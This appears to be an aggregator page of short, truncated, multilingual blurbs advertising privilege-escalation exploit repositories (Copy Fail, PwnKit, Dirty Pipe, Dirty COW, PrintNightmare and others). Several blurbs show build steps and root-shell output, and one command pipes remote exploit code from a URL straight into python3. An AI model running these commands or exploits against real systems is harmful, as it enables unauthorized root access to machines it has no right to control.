Linux-copy-fail-CVE-2026-31431

CVE-2026-31431 — Copy Fail تصعيد الامتيازات في لينكس نظرة عامة يقدم هذا المستودع نظرة تقنية شاملة وعرضًا توضيحيًا لثغرة CVE-2026-31431 ، المعروفة باسم Copy Fail ، وهي ثغرة في نواة لينكس تتيح تصعيد الامتيازات محليًا. تؤثر الثغرة على مجموعة واسعة من توزيعات لينكس وتسمح لمستخدم غير مميز بالحصول على...

CVE-2021-4034

CVE-2021-4034 ملف PWNKIT بسيط لتحويلك إلى root. | لأغراض تعليمية فقط. ما هو؟ إنه PWNKIT مُجهّز مسبقًا ومضغوط مسبقًا. لماذا؟ أنا أعمل على سكربت AUTO-PWNKIT لأتمتة pwnkit وسأستخدم هذا المستودع. أداة AutoPwnkit AutoPwnkit: https://github.com/x04000/AutoPwnkit الاعتمادات السكربت من إعداد...

CVE-2021-4034

CVE-2021-4034 당연히 원본은 아닙니다. 내부에서 무슨 일이 일어나는지 이해하기 위해 재작업했습니다. 취약점을 발견한 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt에 크레딧을 드립니다! 이 스플로잇을 이해하는 데 도움이 된 다른 PoC: https://github.com/berdav/CVE-2021-4034 https://github.com/ryaagard/CVE-2021-4034 빌드 root@kitploit: make 스플로잇 root@kitploit: ❯...

CVE-2021-4034

CVE-2021-4034 익스플로잇 사용법 root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 임시 패치 root@kitploit: chmod 0755...

copy-fail

Copy Fail PoC Доказательство концепции для CVE=2026-31431 Эти скрипты повышают права любого обычного пользователя до root. Работает на большинстве дистрибутивов Linux и процессоров. Техническое описание на https://copy.fail...

CVE-2026-31431

CVE-2026-31431 — AFALG를 통한 로컬 권한 상승 2026-04-29 — 저는 이 익스플로잇을MyDigitalLife 포럼에 공유한 지 하루 만에 공개합니다. Python이 필요하지 않으며, C로 작성되었고 다음 명령을 사용하여 가능한 가장 작은 크기로 컴파일되었습니다: root@kitploit: musl-gcc -static -Os -o exploit exploit.c -s 심각한 위협입니다. 익스플로잇 바이너리는 의존성 없이 컴파일되었으며 모든 Linux 시스템에서 취약점 테스트에 사용할 수 있습니다...

CVE-2026-31431

CVE-2026-31431 - إثبات المفهوم استغلال كتابة ذاكرة التخزين المؤقت للصفحات في Linux algifaead للوصول إلى الجذر - استغلال تصعيد الامتيازات المحلية التوثيق الفني https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170 ملاحظات لم نقم باختبار إثبات...

CVE-2021-4034

CVE-2021-4034 يوم واحد لاستغلال تصعيد الامتيازات في polkit فقط نفّذ make، ثم ./cve-2021-4034 واستمتع بجذر root shell. النشرة الأصلية من المؤلفين الحقيقيين موجودة هنا إثبات المفهوم PoC إذا كان الاستغلال يعمل، ستحصل على جذر root shell فورًا: root@kitploit: localuser@ubuntu-poc:/CVE-2021-4034$ make ...

CVE-2024-24402

भेद्यता रिपोर्ट CVE द्वारा खोजा गया: Jarod Jaslow MAWK भेद्यता विवरण: एंडपॉइंट: Nagios XI Version 2024R1.01 भेद्यता प्रकार: उपयोगकर्ता "NAGIOS" से विशेषाधिकार वृद्धि शोषण परिणाम: लक्ष्य प्रणाली पर पूर्ण रूट पहुंच पुनरुत्पादन के चरण: 1. Nagios XI Version 2024R1.01 का एक नया इंस्टेंस बनाएं: Nagios...

CVE-2026-31431-CopyFail-Lab

CVE-2026-31431 "Copy Fail" — Linux 커널 LPE 연구소 개요 이 저장소는 CVE-2026-31431 Copy Fail 에 대한 완전한 실험실 조사를 문서화한 것으로, 2026년 4월 29일에 공개된 Linux 커널의 algifaead 암호화 모듈에서 발견된 높은 심각도의 로컬 권한 상승LPE 취약점입니다. CVSS 점수: 7.8 높음 테스트 커널: 6.18.12+kali-amd64 실험실 날짜: 2026년 5월 11일 목차 파일| 설명 ---|---...

CVE-2024-4040

CVE-2024-4040 مقدمة لاحظت هذه الثغرة مؤخرًا ووجدتها مثيرة للاهتمام، فقرأت المقالات التالية وكتبت استغلالًا exploit بسيطًا. https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/...

oxide_hive

Oxide Hive أداة استغلال لثغرة HiveNightmare/SeriousSAM تسمح لك بقراءة خلايا التسجيل registry hives التي تحتوي على بيانات حساسة دون صلاحيات المسؤول. إذا كان هذا لا يبدو كتصعيد للصلاحيات، فلا أدري ما هو. الاستخدام بعد بناء الأداة باستخدام cargo build واسترجاع الملف التنفيذي، قم بنشرها في بيئة...

Lenovo-CVE-2025-8061

Lenovo-CVE-2025-8061 PoC لفتح شل النظام ضد مُوجّه LnvMSRIO.sys 3.1.0.36. كل الفضل يعود للمؤلف الأصلي Luis Casvella من Quarkslab. هذا يعمل ضد أحدث إصدار من Windows 11 Version 24H2 مع تعطيل KVAShadowing و Core Isolation! !NOTE تم تجميعه باستخدام أحدث إصدار من Visual Studio 22. ملاحظات مفيدة للاستغل...

CVE-2021-1675

CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 июня 2021 года CVE-2021-1675 — это критическая уязвимость удаленного выполнения кода и локального повышения привилегий, получившая название «PrintNightmare». Эксплойты Proof-of-concept были опубликованы Python, C++ для...

CVE-2022-0847-DirtyPipe-Exploits

CVE-2022-0847-DirtyPipe-शोषण पेनिट्रेशन टेस्टर्स और रेड टीमर्स के लिए शोषण और दस्तावेज़ीकरण का एक संग्रह जो लिनक्स डर्टी पाइप कमजोरी के शोषण में सहायता के लिए उपयोग किया जा सकता है। कमजोरी के बारे में डर्टी पाइप CVE-2022-0847 लिनक्स कर्नेल में एक स्थानीय विशेषाधिकार वृद्धि कमजोरी है जो संभावित रू...

Dirty-Pipe

استغلال Dirty Pipe CVE-2022-0847 نظرة عامة يحتوي هذا المستودع على استغلال إثبات المفهوم PoC لثغرة Dirty Pipe CVE-2022-0847 ، والتي تؤثر على إصدارات نواة لينكس من 5.8 إلى 5.16. تسمح هذه الثغرة بـ تصعيد الامتيازات محليًا من خلال استغلال المعالجة غير السليمة لمخازن الأنابيب pipe buffers في النواة، م...

CVE-2026-1492

CVE-2026-1492 - استغلال تصعيد الصلاحيات في إضافة تسجيل المستخدمين في ووردبريس الوصف يحتوي هذا المستودع على برهان إثبات PoC لاستغلال CVE-2026-1492 ، وهي ثغرة حرجة تؤثر على إضافة User Registration & Membership في ووردبريس. تسمح الثغرة للمهاجمين غير المصادق عليهم بإنشاء حسابات مسؤول من خلال إساءة...

CVE-2021-4034

CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash quelques utilisations : root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2016-5195

CVE-2016-5195 CVE-2016-5195 dirty COW का मेरा व्यक्तिगत POC और EXPLOIT उपयोग POC: मनमाने ढंग से फ़ाइलें लिखना इस CVE का एक सरल POC, फ़ाइल poc.c को इस प्रकार संकलित करें: root@kitploit: $ gcc poc.c -o poc -static -lpthread इसे इस प्रकार चलाएँ: root@kitploit: ./poc destinationfile fakefile सुनिश्चि...